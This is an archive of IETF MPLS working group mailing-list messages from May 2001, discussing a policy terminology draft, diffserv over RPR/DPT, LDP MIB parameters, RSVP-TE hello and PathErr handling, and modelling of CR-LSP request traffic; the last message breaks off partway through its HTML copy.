Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknqm17817
	for <mpls@uu.net>; Sat, 5 May 2001 04:14:08 GMT
Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88])
	id QQknqm02136
	for <mpls@uu.net>; Sat, 5 May 2001 04:14:07 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f454EYa00429
	for <mpls@uu.net>; Fri, 4 May 2001 21:14:34 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id AAA13234 for mpls@uu.net; Sat, 5 May 2001 00:14:06 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknpy09845
	for <mpls@mail-control.mail.uu.net>; Sat, 5 May 2001 00:36:17 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknpy12508
	for <mpls@uu.net>; Sat, 5 May 2001 00:36:16 GMT
Received: from longmail2.lboard.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.109.116.89])
	id QQknpy12876
	for <mpls@uu.net>; Sat, 5 May 2001 00:36:16 GMT
Received: by longmail2.lboard.com with Internet Mail Service (5.5.2650.21)
	id <JWSGNC1D>; Fri, 4 May 2001 20:36:28 -0400
Message-ID: <F2F760C942EBD411B98800A0CC733FCF1793E6@longmail2.lboard.com>
From: Ed Ellesson <eellesson@lboard.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Cc: "'George Swallow'" <swallow@cisco.com>,
        "'Vijay Srinivasan'"
	 <vijay@cosinecom.com>,
        "Joel M. Halpern" <joel@longsys.com>,
        "'Wijnen, Bert (Bert)'" <bwijnen@lucent.com>
Subject: MPLS WG:  Policy Terminology Draft, Extended WG Last Call 
Date: Fri, 4 May 2001 20:36:26 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

MPLS WG:

Our AD has asked us to inform your WG that this WG Last Call is
going on in the Policy Framework WG. This is to give you a 
chance for review and comments, because the terminology is also 
meant to be used by your WG.  

Extended WG Last Call:  

This last call is hereby extended to end at CoB on Fri, May 18, 2001.

The latest revision of the Terminology Draft is in the I-D 
repository.  

for your reference:

http://www.ietf.org/internet-drafts/draft-ietf-policy-terminology-03.txt


Please also note that the title is changing to be more 
descriptive:

	Terminology for Policy-Based Management

This revision reflects all known issues and comments.
This note extends the current working group last call, 
to two weeks from today, and is intended to bring 
forth any last issues.  After such issues are resolved according 
to the working group consensus, we will be submitting 
this document to the IESG for publication as an informational RFC.


We are also strongly suggesting that the comments/discussion be done to/on
the 
policy fw wg mailing list... so that we have one archive to check later if
needed.

If you are not already subscribed to the policy framework mailing list:
General Discussion: policy@raleigh.ibm.com 
To Subscribe: policy-request@raleigh.ibm.com 
In Body: subscribe 
Archive: ftp://ftp.ietf.org/ietf-mail-archive/policy 
Thank you, and we apologize if you receive more than one notice like this.

Ed Ellesson, 
with Joel Halpern

Co-chairs, Policy Framework Working Group






From owner-mpls@UU.NET  Sat May  5 01:56:41 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA03436
	for <mpls-archive@lists.ietf.org>; Sat, 5 May 2001 01:56:41 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknqt14656;
	Sat, 5 May 2001 05:55:33 GMT
Received: by mail-control.mail.uu.net 
	id QQknqt18557
	for mpls-outgoing; Sat, 5 May 2001 05:55:00 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknqt18537
	for <mpls@mail-control.mail.uu.net>; Sat, 5 May 2001 05:54:43 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknqt18139
	for <mpls@uu.net>; Sat, 5 May 2001 05:53:39 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknqt27944
	for <mpls@uu.net>; Sat, 5 May 2001 05:53:24 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id BAA00019 for mpls@uu.net; Sat, 5 May 2001 01:53:23 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknqt18414
	for <mpls@mail-control.mail.uu.net>; Sat, 5 May 2001 05:52:41 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknqt11820
	for <mpls@UU.NET>; Sat, 5 May 2001 05:52:31 GMT
Received: from lohi.eng.telia.fi by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: lohi.eng.telia.fi [195.10.149.18])
	id QQknqt26821
	for <mpls@UU.NET>; Sat, 5 May 2001 05:52:30 GMT
Received: (from jh@localhost)
	by lohi.eng.telia.fi (8.11.1/8.11.1/Debian 8.11.0-6) id f455qHF19346;
	Sat, 5 May 2001 08:52:17 +0300
From: Juha Heinanen <jh@lohi.eng.telia.fi>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15091.38161.514887.486740@lohi.eng.telia.fi>
Date: Sat, 5 May 2001 08:52:17 +0300 (EEST)
To: "Jay Wang" <jwang@opixnetworks.com>
Cc: "HANSEN CHAN" <hansen.chan@alcatel.com>, "Fred Baker" <fred@cisco.com>,
        "Naidu, Venkata" <Venkata.Naidu@Marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, <te-wg@ops.ietf.org>
Subject: RE: QoS in Shared Media
In-Reply-To: <NEBBKNOANMBIAAGAOBILEENDCBAA.jwang@opixnetworks.com>
References: <15090.64600.180853.33136@lohi.eng.telia.fi>
	<NEBBKNOANMBIAAGAOBILEENDCBAA.jwang@opixnetworks.com>
X-Mailer: VM 6.75 under Emacs 19.34.1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Jay Wang writes:

 > Well, RPR gives you bandwidth endurance at the link level, a shared
 > media in this case. On higher level, you may conduct your QoS as
 > appropriate, Diffserv, Intserv, or else. One does not preclude the other,
 > IMO.

how about if someone would like to give different bandwidth assurance to
more than one independent traffic class?  also, within a diffserv
traffic class, droping of packets is based on the drop presedence of the
packet, not based on behind which nodes the packets arrived.

as i said before, node based fairness can only be applied to the highest
dp packets within each class.  dpt (and also rpr if it adopts dpt) thus
supports diffserv only in a very limited sense.  as far as i remember,
it is the only ieee mac standard, where the specification tells how many
queues the switch has.

-- juha



From owner-mpls@UU.NET  Sat May  5 17:04:13 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA18049
	for <mpls-archive@lists.ietf.org>; Sat, 5 May 2001 17:04:12 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkntc20080;
	Sat, 5 May 2001 21:02:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkntc10490
	for mpls-outgoing; Sat, 5 May 2001 21:02:17 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkntc10389
	for <mpls@mail-control.mail.uu.net>; Sat, 5 May 2001 21:02:14 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkntc18407
	for <mpls@uu.net>; Sat, 5 May 2001 21:01:22 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkntc18136
	for <mpls@uu.net>; Sat, 5 May 2001 21:01:22 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id RAA25833 for mpls@uu.net; Sat, 5 May 2001 17:01:22 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkntc06934
	for <mpls@mail-control.mail.uu.net>; Sat, 5 May 2001 21:00:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkntc02802
	for <mpls@uu.net>; Sat, 5 May 2001 21:00:31 GMT
Received: from tonga.force10networks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp.force10networks.com [206.54.51.114])
	id QQkntc17047
	for <mpls@uu.net>; Sat, 5 May 2001 21:00:31 GMT
Received: by tonga.ncorenetworks.com with Internet Mail Service (5.5.2653.19)
	id <KKZMV7VT>; Sat, 5 May 2001 14:00:29 -0700
Message-ID: <a2510b0f5cc1c494b553e5fb4e1cde883af46ad9@force10networks.com>
From: Jason Chen <jason@force10networks.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Cc: Jason Chen <jason@ncorenetworks.com>
Subject: OSPF TE testing tool / protocol simulator
Date: Sat, 5 May 2001 14:00:28 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi, All,

If you know any test tools or protocol simulator for OSPF TE (RFC 2676) in
the market, would you pass that information to me ?

Thanks, 
Jason



From owner-mpls@UU.NET  Sun May  6 04:51:30 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA08226
	for <mpls-archive@lists.ietf.org>; Sun, 6 May 2001 04:51:30 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknux29122;
	Sun, 6 May 2001 08:50:25 GMT
Received: by mail-control.mail.uu.net 
	id QQknux19691
	for mpls-outgoing; Sun, 6 May 2001 08:49:52 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknux19673
	for <mpls@mail-control.mail.uu.net>; Sun, 6 May 2001 08:49:33 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknux23601
	for <mpls@UU.NET>; Sun, 6 May 2001 08:49:30 GMT
Received: from noya.bupt.edu.cn by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: noya.bupt.edu.cn [202.112.96.2])
	id QQknux26950
	for <mpls@UU.NET>; Sun, 6 May 2001 08:49:27 GMT
Received: from vinus ([202.112.109.71])
	by noya.bupt.edu.cn (8.11.3/8.10.1) with SMTP id f467wbR23445
	for <mpls@UU.NET>; Sun, 6 May 2001 15:58:38 +0800 (CST)
Message-Id: <200105060758.f467wbR23445@noya.bupt.edu.cn>
Date: Sun, 6 May 2001 15:57:29 +0800
From: Felix Chang <mplszhz@263.net>
To: mpls_maillist <mpls@UU.NET>
Subject: Parameters in LDP entity table
X-mailer: FoxMail 3.11 [cn]
Mime-Version: 1.0
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

hi,everyone

	I am confused by some parameters in the LDP entity table.
	Suppose there are several kinds of mpls-capable interfaces(eg.ATM-based, fr-based) in a LSR, it should use per interface label space. So it has several LDP entities. Is that right? In these entities, are the values of some parameters such as mplsLdpEntityLabelDistributionMethod, mplsLdpEntityLabelRetentionMode, the same?


	Best regards!
                        Felix Chang
                          mplszhz@263.net



From owner-mpls@UU.NET  Sun May  6 11:18:14 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA11548
	for <mpls-archive@lists.ietf.org>; Sun, 6 May 2001 11:18:14 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknvx28441;
	Sun, 6 May 2001 15:16:50 GMT
Received: by mail-control.mail.uu.net 
	id QQknvx01569
	for mpls-outgoing; Sun, 6 May 2001 15:16:16 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknvx01531
	for <mpls@mail-control.mail.uu.net>; Sun, 6 May 2001 15:16:03 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknvx15851
	for <mpls@UU.NET>; Sun, 6 May 2001 15:15:42 GMT
Received: from ext1.ics.forth.gr by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.ics.forth.gr [139.91.1.2])
	id QQknvx21108
	for <mpls@UU.NET>; Sun, 6 May 2001 15:15:41 GMT
Received: from ismene.ics.forth.gr (mailhost.ics.forth.gr [139.91.157.51])
	by ext1.ics.forth.gr (8.9.3/ICS-FORTH/V8.2.5-GATE) with ESMTP id SAA23455;
	Sun, 6 May 2001 18:15:38 +0300 (EET DST)
Received: from sappho.ics.forth.gr (sappho-lane.ics.forth.gr [139.91.157.50]) by ismene.ics.forth.gr (8.8.8/ICS-FORTH/V3) with ESMTP id SAA01328; Sun, 6 May 2001 18:11:38 +0300 (EET DST)
Posted-Date: Sun, 6 May 2001 18:11:38 +0300 (EET DST)
Organization:   
Received: from localhost (tziou@localhost)
	by sappho.ics.forth.gr (8.9.3/ICS-FORTH/V8.2.2C-INTNULL) with ESMTP id SAA18296;
	Sun, 6 May 2001 18:10:40 +0300 (EEST)
X-Authentication-Warning: sappho.ics.forth.gr: tziou owned process doing -bs
Date: Sun, 6 May 2001 18:10:40 +0300 (EEST)
From: Chrysostomos Tziouvaras <tziou@ics.forth.gr>
To: mpls@UU.NET, ip-optical@lists.bell-labs.com
Subject: Modelling of CR-LSP requests
In-Reply-To: <00bb01c0bce2$2d543ce0$92feffcb@etri.re.kr>
Message-ID: <Pine.GSO.4.10.10105061803310.18217-100000@sappho.ics.forth.gr>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Dear all,
I am trying to conduct some experiments concerning MPLambdaS. The
experimental scenario is that there is an optical backbone to which are
attached many MPLS client networks. These client networks produce Label
Request messages. 
Do you have in mind any realistic scenario about 
-the probability distribution concerning the arrival  of such requests
-the lifetime of the requested CR-LSPs
-the size of bandwidth that each CR-LSP request can ask.

Thanks
Tziouvaras Chrysostomos
ICS-FORTH Researcher




From owner-mpls@UU.NET  Sun May  6 16:29:32 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA13547
	for <mpls-archive@lists.ietf.org>; Sun, 6 May 2001 16:29:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknwr02249;
	Sun, 6 May 2001 20:28:36 GMT
Received: by mail-control.mail.uu.net 
	id QQknwr00237
	for mpls-outgoing; Sun, 6 May 2001 20:28:04 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknwr00222
	for <mpls@mail-control.mail.uu.net>; Sun, 6 May 2001 20:27:48 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknwr02474
	for <mpls@UU.NET>; Sun, 6 May 2001 20:27:07 GMT
Received: from dnsmx2pya.telcordia.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQknwr07230
	for <mpls@UU.NET>; Sun, 6 May 2001 20:27:07 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id QAA06416
	for <mpls@UU.NET>; Sun, 6 May 2001 16:22:27 -0400 (EDT)
Subject: RSVP hello message
To: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Sun, 6 May 2001 16:22:53 -0400
Message-ID: <OFC4E4525D.D9289D15-ON85256A44.006EEE08@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/06/2001 04:22:55 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

The hello message in RSVP draft-ietf-mpls-rsvp-lsp-tunnel-07.txt, the
format for hello message is as on section 5.1:

<Hello message>:: = <Common Header>  [<INTEGRITY>] <HELLO>

I want to make sure if the Hello object here is only one or a list of Hello
objects.
For my understanding, the format in Hello message, <Hello>  is not a list
of Hello objects, it should be one Hello object between two RSVP
neighbours.
Can anyone help me to confirm this?

Thanks in an advance.

Julia




From owner-mpls@UU.NET  Sun May  6 18:35:40 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA14413
	for <mpls-archive@lists.ietf.org>; Sun, 6 May 2001 18:35:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknxa17413;
	Sun, 6 May 2001 22:34:44 GMT
Received: by mail-control.mail.uu.net 
	id QQknxa17566
	for mpls-outgoing; Sun, 6 May 2001 22:34:11 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknxa17561
	for <mpls@mail-control.mail.uu.net>; Sun, 6 May 2001 22:34:03 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknxa24752
	for <mpls@UU.NET>; Sun, 6 May 2001 22:33:14 GMT
Received: from dnsmx1pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1pya.telcordia.com [128.96.20.31])
	id QQknxa28808
	for <mpls@UU.NET>; Sun, 6 May 2001 22:33:14 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1pya.telcordia.com (8.9.3/8.9.3) with ESMTP id SAA09917;
	Sun, 6 May 2001 18:32:12 -0400 (EDT)
Subject: Re: signaling preemption in GMPLS RSVP
To: "Reeve, Andrew" <andrew.reeve@roke.co.uk>
Cc: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Sun, 6 May 2001 18:32:38 -0400
Message-ID: <OF697B436B.A9946DAA-ON85256A44.007B005C@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/06/2001 06:32:44 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi,

Look at this message, I would like to ask some question related to this in
RSVP-TE.

For my understanding of RSVP-TE , if there is a Path message send out from
the Ingress router,  and there is no Resv message back from the Egress
router, the Ingress router should send out PathTear to clear the
connect(path state) instead of sending out PahtErr to clear the connection.
I did not find this statement 'Removing State with a PathErr message' in
the latest version of RSVP-TE.

Sorry I know you are discussing about the GMPLS RSVP.

Can anyone point me out?

Thanks,

Julia







"Reeve, Andrew" <andrew.reeve@roke.co.uk> on 05/04/2001 11:57:37 AM

To:   "'mpls@uu.net'" <mpls@UU.NET>
cc:    (bcc: Hong Liao/Telcordia)
Subject:  signaling preemption in GMPLS RSVP



Section 4 'Removing State with a PathErr message' in
draft-ietf-mpls-generalized-rsvp-te-03.txt makes a welcome improvement to
the signaling when LSPs are torn down by the network. I assume that it is
intended that the benefits be obtained for any 'network clear'. However the
draft mentions its use for 'certain error conditions' without explaining
what these are. I suggest that the section be modified to state explicitly
that the mechanism can be used anywhere a PathErr is used. In other words
it should be possible to use the Path_State_Removed flag for any error and
also to use it during preemption.

Regards,
Andy
> __________________________
> Andy Reeve,
> Senior Consultant,
> Internet Technology and Networks.
__________________________

> Roke Manor Research Ltd,
> A SIEMENS Company.
>
> Roke Manor,
> Romsey. SO51 OZN.
>
> Tel: +44 1794 833580
> Fax: +44 1794 833616
>
> mailto:andrew.reeve@roke.co.uk
>
> http://www.roke.co.uk
> http://www.roke-manor.com
> __________________________
The information contained in this e-mail is confidential to Roke Manor and
must not be passed to any third party without permission.  This
communication is for information only and shall not create or change any
contractual relationship.







From owner-mpls@UU.NET  Sun May  6 19:07:59 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA14691
	for <mpls-archive@lists.ietf.org>; Sun, 6 May 2001 19:07:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknxc01337;
	Sun, 6 May 2001 23:06:48 GMT
Received: by mail-control.mail.uu.net 
	id QQknxc08622
	for mpls-outgoing; Sun, 6 May 2001 23:06:15 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknxc08584
	for <mpls@mail-control.mail.uu.net>; Sun, 6 May 2001 23:06:08 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknxc21412
	for <mpls@UU.NET>; Sun, 6 May 2001 23:05:03 GMT
Received: from zcars0m9.nortelnetworks.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: h157s242a129n47.user.nortelnetworks.com [47.129.242.157])
	id QQknxc28498
	for <mpls@UU.NET>; Sun, 6 May 2001 23:05:03 GMT
Received: from zcars04e.nortelnetworks.com by zcars0m9.nortelnetworks.com (SMI-8.6/SMI-SVR4)
	id TAA21355; Sun, 6 May 2001 19:04:58 -0400
Received: from zcard015.ca.nortel.com (actually zcard015) 
          by zcars04e.nortelnetworks.com; Sun, 6 May 2001 19:05:01 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <KF1GN0HH>; Sun, 6 May 2001 19:05:03 -0400
Message-ID: <03E3E0690542D211A1490000F80836F4051EBE1E@zcard00f.ca.nortel.com>
From: "Peter Ashwood-Smith" <petera@nortelnetworks.com>
To: "'Chrysostomos Tziouvaras'" <tziou@ics.forth.gr>, mpls@UU.NET,
        ip-optical@lists.bell-labs.com
Subject: RE: Modelling of CR-LSP requests
Date: Sun, 6 May 2001 19:05:01 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0D680.FA6561C0"
X-Orig: <petera@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0D680.FA6561C0
Content-Type: text/plain;
	charset="iso-8859-1"


That's a tough one and it depends on the granularity of the requests.
Initially the requests will be large, on the order of an OC-48 or 192 and
mostly initiated by routers. Obviously the routers will not trigger requests
for such large pipes very often but it will probably be very bursty. Other
kinds of devices will request smaller pipes, down to STS-1 level and you
will see cross connects with 100,000 or more STS-n to STS-n capability. 

The model I would expect is 'lots' of requests in a very short time, then
dead calm for extended periods of time. In other words, the worst possible
pattern. 

We can probably take many of the lessons we already have learned about data
patterns and scale them down and get the kind of behavior to expect for
optical trail creation. This makes even more sense if routers start
dynamically switching up trails in reaction to traffic patterns.

Sorry I don't have any hard numbers for you but assuming the worst is
probably a good assumption.

Cheers,

Peter Ashwood-Smith




	-----Original Message-----
	From:	Chrysostomos Tziouvaras [SMTP:tziou@ics.forth.gr]
	Sent:	Sunday, May 06, 2001 11:11 AM
	To:	mpls@UU.NET; ip-optical@lists.bell-labs.com
	Subject:	Modelling of CR-LSP requests

	Dear all,
	I am trying to conduct some experiments concerning MPLambdaS. The
	experimental scenario is that there is an optical backbone to which
are
	attached many MPLS client networks. These client networks produce
Label
	Request messages. 
	Do you have in mind any realistic scenario about 
	-the probability distribution concerning the arrival  of such
requests
	-the lifetime of the requested CR-LSPs
	-the size of bandwidth that each CR-LSP request can ask.

	Thanks
	Tziouvaras Chrysostomos
	ICS-FORTH Researcher

	

------_=_NextPart_001_01C0D680.FA6561C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.59">
<TITLE>RE: Modelling of CR-LSP requests</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">That's a tough one and it depends on =
the granularity of the requests. Initially the requests will be large, =
on the order of an OC-48 or 192 and mostly initiated by routers. =
Obviously the routers will not trigger requests for such large pipes =
very often but it will probably be very bursty. Other kinds of devices =
will request smaller pipes, down to STS-1 level and you will see cross =
connects with 100,000 or more STS-n to STS-n capability. </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The model I would expect is 'lots' of =
requests in a very short time, then dead calm for extended periods of =
time. In other words, the worst possible pattern. </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">We can probably take many of the =
lessons we already have learned about data patterns and scale them down =
and get the kind of behavior to expect for optical trail creation. This =
makes even more sense if routers start dynamically switching up trails =
in reaction to traffic patterns.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Sorry I don't have any hard numbers =
for you but assuming the worst is probably a good assumption.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Cheers,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Peter Ashwood-Smith</FONT>
</P>
<BR>
<BR>
<BR>
<UL>
<P><A NAME=3D"_MailData"><FONT SIZE=3D2 FACE=3D"Arial">-----Original =
Message-----</FONT></A>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">From:&nbsp;&nbsp; Chrysostomos =
Tziouvaras [SMTP:tziou@ics.forth.gr]</FONT></B>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D2 FACE=3D"Arial">Sunday, May 06, 2001 11:11 AM</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D2 =
FACE=3D"Arial">mpls@UU.NET; ip-optical@lists.bell-labs.com</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D2 FACE=3D"Arial">Modelling of CR-LSP requests</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Dear all,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">I am trying to conduct some =
experiments concerning MPLambdaS. The</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">experimental scenario is that there =
is an optical backbone to which are</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">attached many MPLS client networks. =
These client networks produce Label</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Request messages. </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Do you have in mind any realistic =
scenario about </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">-the probability distribution =
concerning the arrival&nbsp; of such requests</FONT>
